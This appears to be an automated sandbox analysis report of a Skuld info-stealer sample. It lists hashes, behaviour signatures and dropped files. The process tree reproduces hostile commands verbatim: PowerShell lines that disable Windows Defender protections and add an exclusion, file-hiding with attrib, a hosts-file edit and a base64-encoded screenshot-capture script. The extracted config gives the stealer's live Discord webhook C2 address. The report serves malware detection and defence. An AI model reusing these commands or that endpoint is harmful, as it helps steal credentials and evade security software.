Resubmissions

28-06-2024 17:28

240628-v2b86szhpn 10

28-06-2024 17:28

240628-v1zyvaxdpe 10

Analysis

  • max time kernel
    9s
  • max time network
    9s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-06-2024 17:28

General

  • Target

    main.exe

  • Size

    9.5MB

  • MD5

    0577222f4607d307dbd8e296bfba4bcc

  • SHA1

    cc99671a69c02c65a9e65683215eff9ec4bccf24

  • SHA256

    fa68fb7b9b57f1ad358e829acee0b7db926d78a5f5a4434837fa96b4653c2cb7

  • SHA512

    709cdbf8ac69d1aa0b4cdaf390278e15d71e07f8df2557f5c143580917ae23060b307f8c197e5fb7c49071ecdad63f6226da9bd510069a6c36a0ba70ed3e9dab

  • SSDEEP

    98304:bV5Y4P6vQBpwXgOlx8UJEZMFdEMaMFQvpI3:sW6vQ8d8UJE+FOMKpI3

Malware Config

Extracted

Family

skuld

C2

https://discord.com/api/webhooks/1255141785198526518/HbSOi96D9xFWcHRfLUc1hVxDYiJ62EQpodIyKyp_rqp3Dh_0SCxyj3iTrpm92a_OBpFr

Signatures

  • Skuld stealer

    An info stealer written in Go lang.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 9 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\main.exe
    "C:\Users\Admin\AppData\Local\Temp\main.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Maps connected drives based on registry
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3400
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\main.exe
      2⤵
      • Views/modifies file attributes
      PID:4276
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:3004
    • C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1936
    • C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      2⤵
      • Detects videocard installed
      • Suspicious use of AdjustPrivilegeToken
      PID:4484
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\main.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:4212
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
        PID:2736
      • C:\Windows\System32\Wbem\wmic.exe
        wmic cpu get Name
        2⤵
          PID:3648
        • C:\Windows\System32\Wbem\wmic.exe
          wmic path win32_VideoController get name
          2⤵
          • Detects videocard installed
          PID:1320
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:3524
        • C:\Windows\System32\Wbem\wmic.exe
          wmic csproduct get UUID
          2⤵
            PID:2912
          • C:\Windows\system32\netsh.exe
            netsh wlan show profiles
            2⤵
            • Event Triggered Execution: Netsh Helper DLL
            PID:2356
          • C:\Windows\system32\attrib.exe
            attrib -r C:\Windows\System32\drivers\etc\hosts
            2⤵
            • Drops file in Drivers directory
            • Views/modifies file attributes
            PID:3884
          • C:\Windows\system32\attrib.exe
            attrib +r C:\Windows\System32\drivers\etc\hosts
            2⤵
            • Drops file in Drivers directory
            • Views/modifies file attributes
            PID:1944
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of WriteProcessMemory
            PID:2172
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rbh0stxu\rbh0stxu.cmdline"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3836
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4815.tmp" "c:\Users\Admin\AppData\Local\Temp\rbh0stxu\CSCBE1FAF24634D4C1E8EC869512491133.TMP"
                4⤵
                  PID:1696

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            d85ba6ff808d9e5444a4b369f5bc2730

            SHA1

            31aa9d96590fff6981b315e0b391b575e4c0804a

            SHA256

            84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

            SHA512

            8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            77d622bb1a5b250869a3238b9bc1402b

            SHA1

            d47f4003c2554b9dfc4c16f22460b331886b191b

            SHA256

            f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

            SHA512

            d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            dbb22d95851b93abf2afe8fb96a8e544

            SHA1

            920ec5fdb323537bcf78f7e29a4fc274e657f7a4

            SHA256

            e1ee9af6b9e3bfd41b7d2c980580bb7427883f1169ed3df4be11293ce7895465

            SHA512

            16031134458bf312509044a3028be46034c544163c4ca956aee74d2075fbeb5873754d2254dc1d0b573ce1a644336ac4c8bd7147aba100bfdac8c504900ef3fc

          • C:\Users\Admin\AppData\Local\Temp\RES4815.tmp

            Filesize

            1KB

            MD5

            551402bdaf38509beb6d7b3d0cf20a8a

            SHA1

            586d7d8d93323c5ddad633bda82c69a896b58a61

            SHA256

            b565650c3bf31dcada0ca361b8adf80081cfa438844f6ae753276a7261534648

            SHA512

            be649879e2f063b9fee87366c03734ae7f49ab04095efa2cbdd21fb954c89d24c7028b388a48cd97e3d142a854383bddce35fd0f4a16afd7eb49f889e9ffb6e3

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gn3fwmva.kdv.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Admin\AppData\Local\Temp\i7pfF4yFdY\Display (1).png

            Filesize

            418KB

            MD5

            27c811786b7c106c648cab7aacd2fce4

            SHA1

            23c55c7c52c85a44eeeb8bb30279589d2505ac3b

            SHA256

            4040a925ac5c7d749a96de14695fb731fc34d41cee75045efe887fc47eb4b4ae

            SHA512

            3792a6be4b2d361ea9b726aadde7f6ddf260a5116068b0bd5c145c0428c5572718d38e283dddbd91b0eed61ae426b819bbae8a0da850563e08f89ab43df54546

          • C:\Users\Admin\AppData\Local\Temp\rbh0stxu\rbh0stxu.dll

            Filesize

            4KB

            MD5

            e673856883083540e2d8a42013adae3e

            SHA1

            fdde9b00d66e523e0f8f8388266c888196abbaed

            SHA256

            58f6de290e792d29b416d0bf42f2221520381892ebd3ba1c656f8d62db1c0aef

            SHA512

            6861f3234a7ad8b8370a0eac76b7a20d6066ec3dea99b5e5b1ba4ac1883a05048c2ec0070a33741277f15f2c7120ea0c4457b49ac726c7780b664626ac600b07

          • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

            Filesize

            9.5MB

            MD5

            0577222f4607d307dbd8e296bfba4bcc

            SHA1

            cc99671a69c02c65a9e65683215eff9ec4bccf24

            SHA256

            fa68fb7b9b57f1ad358e829acee0b7db926d78a5f5a4434837fa96b4653c2cb7

            SHA512

            709cdbf8ac69d1aa0b4cdaf390278e15d71e07f8df2557f5c143580917ae23060b307f8c197e5fb7c49071ecdad63f6226da9bd510069a6c36a0ba70ed3e9dab

          • C:\Windows\System32\drivers\etc\hosts

            Filesize

            2KB

            MD5

            6e2386469072b80f18d5722d07afdc0b

            SHA1

            032d13e364833d7276fcab8a5b2759e79182880f

            SHA256

            ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

            SHA512

            e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

          • \??\c:\Users\Admin\AppData\Local\Temp\rbh0stxu\CSCBE1FAF24634D4C1E8EC869512491133.TMP

            Filesize

            652B

            MD5

            b084c100a32a07daf1cf42ff16b45bff

            SHA1

            b652d3b06756713a2626fe2a8e4d523b4a6e9bb4

            SHA256

            9eb4e4b0034c2b0557dac8cabb32bb92cea7e5e6c7e3f08b4689931e44b71758

            SHA512

            c3523a880b6535c00b4d26cb8a5fd4ff6262ebed5fff218d72cb0fd36436c85f023f5c22c537cd98be1cda654a66935895c2f2700943511a17a06a2b95c8c004

          • \??\c:\Users\Admin\AppData\Local\Temp\rbh0stxu\rbh0stxu.0.cs

            Filesize

            1004B

            MD5

            c76055a0388b713a1eabe16130684dc3

            SHA1

            ee11e84cf41d8a43340f7102e17660072906c402

            SHA256

            8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

            SHA512

            22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

          • \??\c:\Users\Admin\AppData\Local\Temp\rbh0stxu\rbh0stxu.cmdline

            Filesize

            607B

            MD5

            eafd6860614ced3d328e9a0f06b163a0

            SHA1

            35005ac812b1336f00f23fb9852597ebb1629a0e

            SHA256

            7955f4a28fd8e4cb0078aa831a8d2f83a496e06cf51cc9db1bcd7ec6511def02

            SHA512

            808ac5b2045c9622f0703f230008327343a12288fa0110ecb76acf69a7c34a37255298aec9d1bcd6069f60a115a22afeb2ddd8a4771b68830962707492f7ef5e

          • memory/2172-63-0x000001089CB20000-0x000001089CB28000-memory.dmp

            Filesize

            32KB

          • memory/4212-3-0x00000233E1620000-0x00000233E1642000-memory.dmp

            Filesize

            136KB